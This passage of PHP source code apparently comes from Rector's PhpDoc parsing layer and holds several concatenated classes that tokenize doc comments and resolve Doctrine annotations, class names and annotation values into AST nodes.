return null; } $className = $this->resolveFullyQualifiedClass($splitScopeResolution[0], $phpNode); $node->setAttribute(PhpDocAttributeKey::RESOLVED_CLASS, $className); return $node; }); } private function resolveFullyQualifiedClass(string $className, PhpNode $phpNode) : string { $nameScope = $this->nameScopeFactory->createNameScopeFromNodeWithoutTemplateTypes($phpNode); return $nameScope->resolveStringName($className); } } \r\n|\n)#"; /** * @var string * @see https://regex101.com/r/JOKSmr/5 */ private const MULTI_NEW_LINES_REGEX = '#(?\\r\\n|\\n){2,}#'; /** * @param PhpDocNodeDecoratorInterface[] $phpDocNodeDecorators */ public function __construct(TypeParser $typeParser, ConstExprParser $constExprParser, TokenIteratorFactory $tokenIteratorFactory, array $phpDocNodeDecorators, PrivatesAccessor $privatesAccessor) { $this->tokenIteratorFactory = $tokenIteratorFactory; $this->phpDocNodeDecorators = $phpDocNodeDecorators; $this->privatesAccessor = $privatesAccessor; parent::__construct( // TypeParser $typeParser, // ConstExprParser $constExprParser, // requireWhitespaceBeforeDescription \false, // preserveTypeAliasesWithInvalidTypes \false, // usedAttributes ['lines' => \true, 'indexes' => \true], // parseDoctrineAnnotations \false, // textBetweenTagsBelongsToDescription, default to false, exists since 1.23.0 \true ); } public function parseWithNode(BetterTokenIterator $betterTokenIterator, Node $node) : PhpDocNode { $betterTokenIterator->consumeTokenType(Lexer::TOKEN_OPEN_PHPDOC); $betterTokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); $children = []; if (!$betterTokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_PHPDOC)) { $children[] = $this->parseChildAndStoreItsPositions($betterTokenIterator); while ($betterTokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL) && !$betterTokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_PHPDOC)) { $children[] = $this->parseChildAndStoreItsPositions($betterTokenIterator); } } // might be in the middle of annotations $betterTokenIterator->tryConsumeTokenType(Lexer::TOKEN_CLOSE_PHPDOC); $phpDocNode = new PhpDocNode($children); foreach ($this->phpDocNodeDecorators as $phpDocNodeDecorator) { $phpDocNodeDecorator->decorate($phpDocNode, $node); } return $phpDocNode; } public function parseTag(TokenIterator $tokenIterator) : PhpDocTagNode { // replace generic nodes with DoctrineAnnotations if (!$tokenIterator instanceof BetterTokenIterator) { throw new ShouldNotHappenException(); } $tag = $this->resolveTag($tokenIterator); $phpDocTagValueNode = $this->parseTagValue($tokenIterator, $tag); return new PhpDocTagNode($tag, $phpDocTagValueNode); } /** * @param BetterTokenIterator $tokenIterator */ public function parseTagValue(TokenIterator $tokenIterator, string $tag) : PhpDocTagValueNode { $isPrecededByHorizontalWhitespace = $tokenIterator->isPrecededByHorizontalWhitespace(); $startPosition = $tokenIterator->currentPosition(); $phpDocTagValueNode = parent::parseTagValue($tokenIterator, $tag); $endPosition = $tokenIterator->currentPosition(); if ($isPrecededByHorizontalWhitespace && \property_exists($phpDocTagValueNode, 'description')) { $phpDocTagValueNode->description = Strings::replace((string) $phpDocTagValueNode->description, self::NEW_LINE_REGEX, static function (array $match) : string { return $match['new_line'] . ' * '; }); } $startAndEnd = new StartAndEnd($startPosition, $endPosition); $phpDocTagValueNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); if ($phpDocTagValueNode instanceof GenericTagValueNode) { $phpDocTagValueNode->value = Strings::replace($phpDocTagValueNode->value, self::MULTI_NEW_LINES_REGEX, static function (array $match) { return $match['new_line']; }); } return $phpDocTagValueNode; } /** * @return PhpDocTextNode|PhpDocTagNode */ private function parseChildAndStoreItsPositions(TokenIterator $tokenIterator) : PhpDocChildNode { $betterTokenIterator = $this->tokenIteratorFactory->createFromTokenIterator($tokenIterator); $startPosition = $betterTokenIterator->currentPosition(); /** @var PhpDocTextNode|PhpDocTagNode $phpDocNode */ $phpDocNode = $this->privatesAccessor->callPrivateMethod($this, 'parseChild', [$betterTokenIterator]); $endPosition = $betterTokenIterator->currentPosition(); $startAndEnd = new StartAndEnd($startPosition, $endPosition); $phpDocNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); return $phpDocNode; } private function resolveTag(BetterTokenIterator $tokenIterator) : string { $tag = $tokenIterator->currentTokenValue(); $tokenIterator->next(); // there is a space → stop if ($tokenIterator->isPrecededByHorizontalWhitespace()) { return $tag; } // is not e.g "@var " // join tags like "@ORM\Column" etc. if (!$tokenIterator->isCurrentTokenType(Lexer::TOKEN_IDENTIFIER)) { return $tag; } // @todo use joinUntil("(")? $tag .= $tokenIterator->currentTokenValue(); $tokenIterator->next(); return $tag; } } tokenIteratorFactory = $tokenIteratorFactory; parent::__construct($constExprParser); } public function parse(TokenIterator $tokenIterator) : TypeNode { $betterTokenIterator = $this->tokenIteratorFactory->createFromTokenIterator($tokenIterator); $startPosition = $betterTokenIterator->currentPosition(); $typeNode = parent::parse($betterTokenIterator); $endPosition = $betterTokenIterator->currentPosition(); $startAndEnd = new StartAndEnd($startPosition, $endPosition); $typeNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); return $typeNode; } } */ private $fullyQualifiedNameByHash = []; public function __construct(UseImportNameMatcher $useImportNameMatcher, UseImportsResolver $useImportsResolver, ReflectionProvider $reflectionProvider) { $this->useImportNameMatcher = $useImportNameMatcher; $this->useImportsResolver = $useImportsResolver; $this->reflectionProvider = $reflectionProvider; } public function resolveTagFullyQualifiedName(string $tag, Node $node) : string { $uniqueId = $tag . \spl_object_id($node); if (isset($this->fullyQualifiedNameByHash[$uniqueId])) { return $this->fullyQualifiedNameByHash[$uniqueId]; } $tag = \ltrim($tag, '@'); $uses = $this->useImportsResolver->resolve(); $fullyQualifiedClass = $this->resolveFullyQualifiedClass($uses, $node, $tag); if ($fullyQualifiedClass === null) { $fullyQualifiedClass = $tag; } $this->fullyQualifiedNameByHash[$uniqueId] = $fullyQualifiedClass; return $fullyQualifiedClass; } /** * @param array $uses */ private function resolveFullyQualifiedClass(array $uses, Node $node, string $tag) : ?string { $scope = $node->getAttribute(AttributeKey::SCOPE); if ($scope instanceof Scope) { $namespace = $scope->getNamespace(); if ($namespace !== null) { $namespacedTag = $namespace . '\\' . $tag; if ($this->reflectionProvider->hasClass($namespacedTag)) { return $namespacedTag; } if (\strpos($tag, '\\') === \false) { return $this->resolveAsAliased($uses, $tag); } if ($this->isPreslashedExistingClass($tag)) { // Global or absolute Class return $tag; } } } return $this->useImportNameMatcher->matchNameWithUses($tag, $uses); } /** * @param array $uses */ private function resolveAsAliased(array $uses, string $tag) : ?string { foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); foreach ($use->uses as $useUse) { if (!$useUse->alias instanceof Identifier) { continue; } if ($useUse->alias->toString() === $tag) { return $prefix . $useUse->name->toString(); } } } return $this->useImportNameMatcher->matchNameWithUses($tag, $uses); } private function isPreslashedExistingClass(string $tag) : bool { if (\strncmp($tag, '\\', \strlen('\\')) !== 0) { return \false; } return $this->reflectionProvider->hasClass($tag); } } nameScopeFactory = $nameScopeFactory; $this->phpDocNodeTraverser = $phpDocNodeTraverser; } public function decorate(PhpDocNode $phpDocNode, PhpNode $phpNode) : void { // iterating all phpdocs has big overhead. peek into the phpdoc to exit early if (\strpos($phpDocNode->__toString(), '::') === \false) { return; } $this->phpDocNodeTraverser->traverseWithCallable($phpDocNode, '', function (Node $node) use($phpNode) : ?\PHPStan\PhpDocParser\Ast\Node { if (!$node instanceof ConstFetchNode) { return null; } $className = $this->resolveFullyQualifiedClass($node, $phpNode); $node->setAttribute(PhpDocAttributeKey::RESOLVED_CLASS, $className); return $node; }); } private function resolveFullyQualifiedClass(ConstFetchNode $constFetchNode, PhpNode $phpNode) : string { $nameScope = $this->nameScopeFactory->createNameScopeFromNodeWithoutTemplateTypes($phpNode); return $nameScope->resolveStringName($constFetchNode->className); } } .*?)(?\\(.*?\\)|,|\\r?\\n|$)#'; /** * Special short annotations, that are resolved as FQN by Doctrine annotation parser * @var string[] */ private const ALLOWED_SHORT_ANNOTATIONS = ['Target']; /** * @see https://regex101.com/r/xWaLOz/1 * @var string */ private const NESTED_ANNOTATION_END_REGEX = '#(\\s+)?\\}\\)(\\s+)?#'; /** * @see https://regex101.com/r/8rWY4r/1 * @var string */ private const NEWLINE_ANNOTATION_FQCN_REGEX = '#\\r?\\n@\\\\#'; public function __construct(\Rector\BetterPhpDocParser\PhpDocParser\ClassAnnotationMatcher $classAnnotationMatcher, \Rector\BetterPhpDocParser\PhpDocParser\StaticDoctrineAnnotationParser $staticDoctrineAnnotationParser, TokenIteratorFactory $tokenIteratorFactory, AttributeMirrorer $attributeMirrorer) { $this->classAnnotationMatcher = $classAnnotationMatcher; $this->staticDoctrineAnnotationParser = $staticDoctrineAnnotationParser; $this->tokenIteratorFactory = $tokenIteratorFactory; $this->attributeMirrorer = $attributeMirrorer; } public function decorate(PhpDocNode $phpDocNode, Node $phpNode) : void { // merge split doctrine nested tags $this->mergeNestedDoctrineAnnotations($phpDocNode); $this->transformGenericTagValueNodesToDoctrineAnnotationTagValueNodes($phpDocNode, $phpNode); } /** * Join token iterator with all the following nodes if nested */ private function mergeNestedDoctrineAnnotations(PhpDocNode $phpDocNode) : void { $removedKeys = []; foreach ($phpDocNode->children as $key => $phpDocChildNode) { if (\in_array($key, $removedKeys, \true)) { continue; } if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if (!$phpDocChildNode->value instanceof GenericTagValueNode) { continue; } $genericTagValueNode = $phpDocChildNode->value; while (isset($phpDocNode->children[$key])) { ++$key; // no more next nodes if (!isset($phpDocNode->children[$key])) { break; } $nextPhpDocChildNode = $phpDocNode->children[$key]; if ($nextPhpDocChildNode instanceof PhpDocTextNode && StringUtils::isMatch($nextPhpDocChildNode->text, self::NESTED_ANNOTATION_END_REGEX)) { // @todo how to detect previously opened brackets? // probably local property with holding count of opened brackets $composedContent = $genericTagValueNode->value . \PHP_EOL . $nextPhpDocChildNode->text; $genericTagValueNode->value = $composedContent; $startAndEnd = $this->combineStartAndEnd($phpDocChildNode, $nextPhpDocChildNode); $phpDocChildNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); $removedKeys[] = $key; $removedKeys[] = $key + 1; continue; } if (!$nextPhpDocChildNode instanceof PhpDocTagNode) { continue; } if (!$nextPhpDocChildNode->value instanceof GenericTagValueNode) { continue; } if ($this->isClosedContent($genericTagValueNode->value)) { break; } $composedContent = $genericTagValueNode->value . \PHP_EOL . $nextPhpDocChildNode->name . $nextPhpDocChildNode->value->value; // cleanup the next from closing $genericTagValueNode->value = $composedContent; $startAndEnd = $this->combineStartAndEnd($phpDocChildNode, $nextPhpDocChildNode); $phpDocChildNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); $currentChildValueNode = $phpDocNode->children[$key]; if (!$currentChildValueNode instanceof PhpDocTagNode) { continue; } $currentGenericTagValueNode = $currentChildValueNode->value; if (!$currentGenericTagValueNode instanceof GenericTagValueNode) { continue; } $removedKeys[] = $key; } } foreach (\array_keys($phpDocNode->children) as $key) { if (!\in_array($key, $removedKeys, \true)) { continue; } unset($phpDocNode->children[$key]); } } private function processTextSpacelessInTextNode(PhpDocNode $phpDocNode, PhpDocTextNode $phpDocTextNode, Node $currentPhpNode, int $key) : void { $spacelessPhpDocTagNodes = $this->resolveFqnAnnotationSpacelessPhpDocTagNode($phpDocTextNode, $currentPhpNode); if ($spacelessPhpDocTagNodes === []) { return; } $texts = Strings::split($phpDocTextNode->text, self::NEWLINE_ANNOTATION_FQCN_REGEX); $otherText = $texts[0]; if (\strncmp((string) $otherText, '@\\', \strlen('@\\')) !== 0 && \trim((string) $otherText) !== '') { $phpDocNode->children[$key] = new PhpDocTextNode($otherText); \array_splice($phpDocNode->children, $key + 1, 0, $spacelessPhpDocTagNodes); return; } unset($phpDocNode->children[$key]); \array_splice($phpDocNode->children, $key, 0, $spacelessPhpDocTagNodes); } private function transformGenericTagValueNodesToDoctrineAnnotationTagValueNodes(PhpDocNode $phpDocNode, Node $currentPhpNode) : void { foreach ($phpDocNode->children as $key => $phpDocChildNode) { // the @\FQN use case if ($phpDocChildNode instanceof PhpDocTextNode) { $this->processTextSpacelessInTextNode($phpDocNode, $phpDocChildNode, $currentPhpNode, $key); continue; } if (!$phpDocChildNode instanceof PhpDocTagNode) { continue; } if (!$phpDocChildNode->value instanceof GenericTagValueNode) { $this->processDescriptionAsSpacelessPhpDoctagNode($phpDocNode, $phpDocChildNode, $currentPhpNode, $key); continue; } // known doc tag to annotation class $fullyQualifiedAnnotationClass = $this->classAnnotationMatcher->resolveTagFullyQualifiedName($phpDocChildNode->name, $currentPhpNode); // not an annotations class if (\strpos($fullyQualifiedAnnotationClass, '\\') === \false && !\in_array($fullyQualifiedAnnotationClass, self::ALLOWED_SHORT_ANNOTATIONS, \true)) { continue; } while (isset($phpDocNode->children[$key]) && $phpDocNode->children[$key] !== $phpDocChildNode) { ++$key; } $phpDocTextNode = new PhpDocTextNode($phpDocChildNode->value->value); $startAndEnd = $phpDocChildNode->value->getAttribute(PhpDocAttributeKey::START_AND_END); if (!$startAndEnd instanceof StartAndEnd) { $spacelessPhpDocTagNode = $this->createSpacelessPhpDocTagNode($phpDocChildNode->name, $phpDocChildNode->value, $fullyQualifiedAnnotationClass, $currentPhpNode); $this->attributeMirrorer->mirror($phpDocChildNode, $spacelessPhpDocTagNode); $phpDocNode->children[$key] = $spacelessPhpDocTagNode; continue; } $phpDocTextNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); $spacelessPhpDocTagNodes = $this->resolveFqnAnnotationSpacelessPhpDocTagNode($phpDocTextNode, $currentPhpNode); if ($spacelessPhpDocTagNodes === []) { $spacelessPhpDocTagNode = $this->createSpacelessPhpDocTagNode($phpDocChildNode->name, $phpDocChildNode->value, $fullyQualifiedAnnotationClass, $currentPhpNode); $this->attributeMirrorer->mirror($phpDocChildNode, $spacelessPhpDocTagNode); $phpDocNode->children[$key] = $spacelessPhpDocTagNode; continue; } Assert::isAOf($phpDocNode->children[$key], PhpDocTagNode::class); $texts = Strings::split($phpDocChildNode->value->value, self::NEWLINE_ANNOTATION_FQCN_REGEX); $phpDocNode->children[$key]->value = new GenericTagValueNode($texts[0]); $phpDocNode->children[$key]->value->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); $spacelessPhpDocTagNode = $this->createSpacelessPhpDocTagNode($phpDocNode->children[$key]->name, $phpDocNode->children[$key]->value, $fullyQualifiedAnnotationClass, $currentPhpNode); $this->attributeMirrorer->mirror($phpDocNode->children[$key], $spacelessPhpDocTagNode); $phpDocNode->children[$key] = $spacelessPhpDocTagNode; // require to reprint the generic $phpDocNode->children[$key]->value->setAttribute(PhpDocAttributeKey::ORIG_NODE, null); \array_splice($phpDocNode->children, $key + 1, 0, $spacelessPhpDocTagNodes); } } private function processDescriptionAsSpacelessPhpDoctagNode(PhpDocNode $phpDocNode, PhpDocTagNode $phpDocTagNode, Node $currentPhpNode, int $key) : void { if (!\property_exists($phpDocTagNode->value, 'description')) { return; } $description = (string) $phpDocTagNode->value->description; if (\strpos($description, "\n") === \false) { return; } $phpDocTextNode = new PhpDocTextNode($description); $startAndEnd = $phpDocTagNode->value->getAttribute(PhpDocAttributeKey::START_AND_END); if (!$startAndEnd instanceof StartAndEnd) { return; } $phpDocTextNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); $spacelessPhpDocTagNodes = $this->resolveFqnAnnotationSpacelessPhpDocTagNode($phpDocTextNode, $currentPhpNode); if ($spacelessPhpDocTagNodes === []) { return; } while (isset($phpDocNode->children[$key]) && $phpDocNode->children[$key] !== $phpDocTagNode) { ++$key; } unset($phpDocNode->children[$key]); $classNode = new PhpDocTagNode($phpDocTagNode->name, $phpDocTagNode->value); $description = Strings::replace($description, self::LONG_ANNOTATION_REGEX, ''); $description = \substr($description, 0, -7); $phpDocTagNode->value->description = $description; $phpDocNode->children[$key] = $classNode; \array_splice($phpDocNode->children, $key + 1, 0, $spacelessPhpDocTagNodes); } /** * This is closed block, e.g. {( ... )}, * false on: {( ... ) */ private function isClosedContent(string $composedContent) : bool { $composedTokenIterator = $this->tokenIteratorFactory->create($composedContent); $tokenCount = $composedTokenIterator->count(); $openBracketCount = 0; $closeBracketCount = 0; if ($composedContent === '') { return \true; } do { if ($composedTokenIterator->isCurrentTokenType(Lexer::TOKEN_OPEN_CURLY_BRACKET, Lexer::TOKEN_OPEN_PARENTHESES) || \strpos($composedTokenIterator->currentTokenValue(), '(') !== \false) { ++$openBracketCount; } if ($composedTokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET, Lexer::TOKEN_CLOSE_PARENTHESES) || \strpos($composedTokenIterator->currentTokenValue(), ')') !== \false) { ++$closeBracketCount; } $composedTokenIterator->next(); } while ($composedTokenIterator->currentPosition() < $tokenCount - 1); return $openBracketCount === $closeBracketCount; } private function createSpacelessPhpDocTagNode(string $tagName, GenericTagValueNode $genericTagValueNode, string $fullyQualifiedAnnotationClass, Node $currentPhpNode) : SpacelessPhpDocTagNode { $formerStartEnd = $genericTagValueNode->getAttribute(PhpDocAttributeKey::START_AND_END); return $this->createDoctrineSpacelessPhpDocTagNode($genericTagValueNode->value, $tagName, $fullyQualifiedAnnotationClass, $formerStartEnd, $currentPhpNode); } private function createDoctrineSpacelessPhpDocTagNode(string $annotationContent, string $tagName, string $fullyQualifiedAnnotationClass, StartAndEnd $startAndEnd, Node $currentPhpNode) : SpacelessPhpDocTagNode { $nestedTokenIterator = $this->tokenIteratorFactory->create($annotationContent); // mimics doctrine behavior just in phpdoc-parser syntax :) // https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L742 $values = $this->staticDoctrineAnnotationParser->resolveAnnotationMethodCall($nestedTokenIterator, $currentPhpNode); $comment = $this->staticDoctrineAnnotationParser->getCommentFromRestOfAnnotation($nestedTokenIterator, $annotationContent); $identifierTypeNode = new IdentifierTypeNode($tagName); $identifierTypeNode->setAttribute(PhpDocAttributeKey::RESOLVED_CLASS, $fullyQualifiedAnnotationClass); $doctrineAnnotationTagValueNode = new DoctrineAnnotationTagValueNode($identifierTypeNode, $annotationContent, $values, SilentKeyMap::CLASS_NAMES_TO_SILENT_KEYS[$fullyQualifiedAnnotationClass] ?? null, $comment); $doctrineAnnotationTagValueNode->setAttribute(PhpDocAttributeKey::START_AND_END, $startAndEnd); return new SpacelessPhpDocTagNode($tagName, $doctrineAnnotationTagValueNode); } private function combineStartAndEnd(\PHPStan\PhpDocParser\Ast\Node $startPhpDocChildNode, PhpDocChildNode $endPhpDocChildNode) : StartAndEnd { /** @var StartAndEnd $currentStartAndEnd */ $currentStartAndEnd = $startPhpDocChildNode->getAttribute(PhpDocAttributeKey::START_AND_END); /** @var StartAndEnd $nextStartAndEnd */ $nextStartAndEnd = $endPhpDocChildNode->getAttribute(PhpDocAttributeKey::START_AND_END); return new StartAndEnd($currentStartAndEnd->getStart(), $nextStartAndEnd->getEnd()); } /** * @return SpacelessPhpDocTagNode[] */ private function resolveFqnAnnotationSpacelessPhpDocTagNode(PhpDocTextNode $phpDocTextNode, Node $currentPhpNode) : array { $matches = Strings::matchAll($phpDocTextNode->text, self::LONG_ANNOTATION_REGEX); $spacelessPhpDocTagNodes = []; foreach ($matches as $match) { $fullyQualifiedAnnotationClass = $match['class_name'] ?? null; if ($fullyQualifiedAnnotationClass === null) { continue; } $nestedAnnotationOpen = \explode('(', (string) $fullyQualifiedAnnotationClass); $fullyQualifiedAnnotationClass = $nestedAnnotationOpen[0]; $tagName = '@\\' . $fullyQualifiedAnnotationClass; $formerStartEnd = $phpDocTextNode->getAttribute(PhpDocAttributeKey::START_AND_END); $annotationContent = $this->resolveAnnotationContent($match['annotation_content'] ?? '', $nestedAnnotationOpen); $spacelessPhpDocTagNodes[] = $this->createDoctrineSpacelessPhpDocTagNode($annotationContent, $tagName, $fullyQualifiedAnnotationClass, $formerStartEnd, $currentPhpNode); } return $spacelessPhpDocTagNodes; } /** * @param string[]|null[] $nestedAnnotationOpen */ private function resolveAnnotationContent(string $annotationContent, array $nestedAnnotationOpen) : string { if (!isset($nestedAnnotationOpen[1])) { return $annotationContent; } $trimmedNestedAnnotationOpen = \trim($nestedAnnotationOpen[1]); if (\substr_compare($trimmedNestedAnnotationOpen, '{', -\strlen('{')) === 0) { return $annotationContent; } if ($trimmedNestedAnnotationOpen === '') { return $annotationContent; } return '("' . \trim($trimmedNestedAnnotationOpen, '"\'') . '")'; } } plainValueParser = $plainValueParser; $this->arrayParser = $arrayParser; } /** * mimics: https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L1024-L1041 * * @return ArrayItemNode[] */ public function resolveAnnotationMethodCall(BetterTokenIterator $tokenIterator, Node $currentPhpNode) : array { if (!$tokenIterator->isCurrentTokenType(Lexer::TOKEN_OPEN_PARENTHESES)) { return []; } $tokenIterator->consumeTokenType(Lexer::TOKEN_OPEN_PARENTHESES); // empty () if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_PARENTHESES)) { return []; } return $this->resolveAnnotationValues($tokenIterator, $currentPhpNode); } /** * @api tests * @see https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L1215-L1224 * @return CurlyListNode|string|array|ConstExprNode|DoctrineAnnotationTagValueNode|StringNode */ public function resolveAnnotationValue(BetterTokenIterator $tokenIterator, Node $currentPhpNode) { // skips dummy tokens like newlines $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); // no assign if (!$tokenIterator->isNextTokenType(Lexer::TOKEN_EQUAL)) { // 1. plain value - mimics https://github.com/doctrine/annotations/blob/0cb0cd2950a5c6cdbf22adbe2bfd5fd1ea68588f/lib/Doctrine/Common/Annotations/DocParser.php#L1234-L1282 return $this->parseValue($tokenIterator, $currentPhpNode); } // 2. assign key = value - mimics FieldAssignment() https://github.com/doctrine/annotations/blob/0cb0cd2950a5c6cdbf22adbe2bfd5fd1ea68588f/lib/Doctrine/Common/Annotations/DocParser.php#L1291-L1303 /** @var int $key */ $key = $this->parseValue($tokenIterator, $currentPhpNode); $tokenIterator->consumeTokenType(Lexer::TOKEN_EQUAL); // mimics https://github.com/doctrine/annotations/blob/1.13.x/lib/Doctrine/Common/Annotations/DocParser.php#L1236-L1238 $value = $this->parseValue($tokenIterator, $currentPhpNode); return [ // plain token value $key => $value, ]; } public function getCommentFromRestOfAnnotation(BetterTokenIterator $tokenIterator, string $annotationContent) : string { // we skip all the remaining tokens from the end of the declaration of values while (\preg_match(self::END_OF_VALUE_CHARACTERS_REGEX, $tokenIterator->currentTokenValue())) { $tokenIterator->next(); } // the remaining of the annotation content is the comment $comment = \substr($annotationContent, $tokenIterator->currentTokenOffset()); // we only keep the first line as this will be added as a line comment at the end of the attribute $commentLines = NewLineSplitter::split($comment); return $commentLines[0]; } /** * @see https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L1051-L1079 * * @return ArrayItemNode[] */ private function resolveAnnotationValues(BetterTokenIterator $tokenIterator, Node $currentPhpNode) : array { $values = []; $resolvedValue = $this->resolveAnnotationValue($tokenIterator, $currentPhpNode); if (\is_array($resolvedValue)) { $values = \array_merge($values, $resolvedValue); } else { $values[] = $resolvedValue; } while ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_COMMA)) { $tokenIterator->next(); // if is next item just closing brackets if ($tokenIterator->isNextTokenType(Lexer::TOKEN_CLOSE_PARENTHESES)) { continue; } $nestedValues = $this->resolveAnnotationValue($tokenIterator, $currentPhpNode); if (\is_array($nestedValues)) { $values = \array_merge($values, $nestedValues); } else { if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_END)) { break; } $values[] = $nestedValues; } } return $this->arrayParser->createArrayFromValues($values); } /** * @return CurlyListNode|string|array|ConstExprNode|DoctrineAnnotationTagValueNode|StringNode */ private function parseValue(BetterTokenIterator $tokenIterator, Node $currentPhpNode) { if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_OPEN_CURLY_BRACKET)) { $items = $this->arrayParser->parseCurlyArray($tokenIterator, $currentPhpNode); return new CurlyListNode($items); } return $this->plainValueParser->parseValue($tokenIterator, $currentPhpNode); } } plainValueParser = $plainValueParser; } /** * Mimics https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L1305-L1352 * * @return ArrayItemNode[] */ public function parseCurlyArray(BetterTokenIterator $tokenIterator, Node $currentPhpNode) : array { $values = []; // nothing if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET)) { return []; } $tokenIterator->consumeTokenType(Lexer::TOKEN_OPEN_CURLY_BRACKET); // If the array is empty, stop parsing and return. if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET)) { $tokenIterator->consumeTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET); return []; } // first item $values[] = $this->resolveArrayItem($tokenIterator, $currentPhpNode); // 2nd+ item while ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_COMMA)) { // optional trailing comma $tokenIterator->consumeTokenType(Lexer::TOKEN_COMMA); $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET)) { break; } $values[] = $this->resolveArrayItem($tokenIterator, $currentPhpNode); if ($tokenIterator->isNextTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET)) { break; } // skip newlines $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); } $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); // special case for nested doctrine annotations if (!$tokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_PARENTHESES)) { $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET); } return $this->createArrayFromValues($values); } /** * @param mixed[] $values * @return ArrayItemNode[] */ public function createArrayFromValues(array $values) : array { $arrayItemNodes = []; $naturalKey = 0; foreach ($values as $key => $value) { if (\is_array($value)) { [$nestedKey, $nestedValue] = $value; if ($nestedKey instanceof ConstExprIntegerNode) { $nestedKey = $nestedKey->value; } // curly candidate? $arrayItemNodes[] = $this->createArrayItemFromKeyAndValue($nestedKey, $nestedValue); } else { $arrayItemNodes[] = $this->createArrayItemFromKeyAndValue($key !== $naturalKey ? $key : null, $value); } ++$naturalKey; } return $arrayItemNodes; } /** * Mimics https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L1354-L1385 * @return array */ private function resolveArrayItem(BetterTokenIterator $tokenIterator, Node $currentPhpNode) : array { // skip newlines $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); $key = null; // join "ClassName::CONSTANT_REFERENCE" to identifier if ($tokenIterator->isNextTokenTypes([Lexer::TOKEN_DOUBLE_COLON])) { $key = $tokenIterator->currentTokenValue(); // "::" $tokenIterator->next(); $key .= $tokenIterator->currentTokenValue(); $tokenIterator->consumeTokenType(Lexer::TOKEN_DOUBLE_COLON); $key .= $tokenIterator->currentTokenValue(); $tokenIterator->next(); } $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_PHPDOC_EOL); if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_CLOSE_CURLY_BRACKET, Lexer::TOKEN_COMMA)) { // it's a value, not a key return [null, $key]; } if ($tokenIterator->isCurrentTokenType(Lexer::TOKEN_EQUAL, Lexer::TOKEN_COLON) || $tokenIterator->isNextTokenTypes([Lexer::TOKEN_EQUAL, Lexer::TOKEN_COLON])) { $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_EQUAL); $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_COLON); if ($key === null) { if ($tokenIterator->isNextTokenType(Lexer::TOKEN_IDENTIFIER)) { $key = $this->plainValueParser->parseValue($tokenIterator, $currentPhpNode); } else { $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_COMMA); $key = $this->plainValueParser->parseValue($tokenIterator, $currentPhpNode); } } $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_EQUAL); $tokenIterator->tryConsumeTokenType(Lexer::TOKEN_COLON); return [$key, $this->plainValueParser->parseValue($tokenIterator, $currentPhpNode)]; } return [$key, $this->plainValueParser->parseValue($tokenIterator, $currentPhpNode)]; } /** * @return String_::KIND_SINGLE_QUOTED|String_::KIND_DOUBLE_QUOTED|null * @param mixed $val */ private function resolveQuoteKind($val) : ?int { if ($this->isQuotedWith($val, '"')) { return String_::KIND_DOUBLE_QUOTED; } if ($this->isQuotedWith($val, "'")) { return String_::KIND_SINGLE_QUOTED; } return null; } /** * @param mixed $rawKey * @param mixed $rawValue */ private function createArrayItemFromKeyAndValue($rawKey, $rawValue) : ArrayItemNode { $valueQuoteKind = $this->resolveQuoteKind($rawValue); if (\is_string($rawValue) && $valueQuoteKind === String_::KIND_DOUBLE_QUOTED) { // give raw value $value = new StringNode(\substr($rawValue, 1, \strlen($rawValue) - 2)); } else { $value = $rawValue; } $keyQuoteKind = $this->resolveQuoteKind($rawKey); if (\is_string($rawKey) && $keyQuoteKind === String_::KIND_DOUBLE_QUOTED) { // give raw value $key = new StringNode(\substr($rawKey, 1, \strlen($rawKey) - 